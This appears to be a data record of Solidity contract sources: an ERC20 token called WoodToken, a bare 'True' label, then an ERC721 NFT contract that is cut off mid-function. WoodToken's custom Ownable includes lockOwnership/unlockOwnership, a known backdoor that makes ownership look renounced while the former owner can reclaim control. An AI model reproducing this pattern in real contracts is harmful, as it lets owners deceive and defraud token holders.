* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File @openzeppelin/contracts/utils/math/[email protected]
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File contracts/Ownable.sol
pragma solidity >=0.7.0 <0.9.0;
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() internal view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getOwnershipUnlockTime() public view returns(uint256) {
return _lockTime;
}
/**
* @dev Locks all `onlyOwner` functions in the contract until (`time`) has passed.
*/
function lockOwnership(uint256 time) public onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Unlocks the `onlyOwner` functions. Can only be called by owner after lock time has passed.
*/
function unlockOwnership() public {
require(_previousOwner == msg.sender, "Ownable: you do not have permission to unlock");
require(block.timestamp > _lockTime, "Ownable: can't unlock contract yet");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// File contracts/WoodToken.sol
pragma solidity ^0.8.0;
contract WoodToken is ERC20, ERC20Burnable, Ownable {
using SafeMath for uint256;
uint256 private immutable _transactionLimit;
uint256 private immutable _transactionFee;
uint256 private immutable _burnAmount;
address public immutable reserveAddress;
constructor() ERC20("WoodToken", "WOOD") {
uint256 _initialSupply = 304 * (10 ** 10) * (10 ** 18);
_transactionLimit = 15200000000 * (10 ** 18);
_transactionFee = 0.00304 * (10 ** 5);
_burnAmount = 15000000000 * (10 ** 18);
address reserve = address(0x000725E06561e3328A27837a9F3dA5eAAcB15895);
reserveAddress = reserve;
uint256 burnWalletInitialAmount = (_initialSupply * 35) / 100;
_mint(msg.sender, _initialSupply);
_transfer(msg.sender, reserve, burnWalletInitialAmount);
}
function validateTransferAndTakeFee(uint256 amount) private returns(uint256){
if(!(msg.sender == owner() || msg.sender == address(this))){
require(amount <= _transactionLimit, 'WOOD: amount exceeds single transaction maximum');
}
require(amount <= balanceOf(msg.sender), 'ERC20: amount exceeds balance');
uint256 feeAmount = calculateTransactionFee(amount);
if(feeAmount > 0){
_transfer(msg.sender, reserveAddress, feeAmount);
}
return amount - feeAmount;
}
function transfer(address recipient, uint256 amount) public override returns(bool){
uint256 transferAmount = validateTransferAndTakeFee(amount);
_transfer(msg.sender, recipient, transferAmount);
return true;
}
function burn(uint256 amount) public override {
uint256 burnAmount = validateTransferAndTakeFee(amount);
super.burn(burnAmount);
}
function calculateTransactionFee(uint256 amount) private view returns (uint256) {
if(msg.sender == owner() || msg.sender == address(this)){
return 0;
}
return (amount * _transactionFee) / (10 ** 5);
}
function burnFromReserve() onlyOwner public {
_burn(reserveAddress, _transactionLimit);
}
function lockTokens(uint256 amount) public {
transfer(address(this), amount);
uint256 currentAllowance = allowance(address(this), msg.sender);
_approve(address(this), msg.sender, currentAllowance + amount);
}
function unlockTokens() public {
uint256 lockedTokenAmount = allowance(address(this), msg.sender);
transferFrom(address(this), msg.sender, lockedTokenAmount);
}
function getOwner() public view returns(address) {
return owner();
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-10-08
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/access/Ownable.sol
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
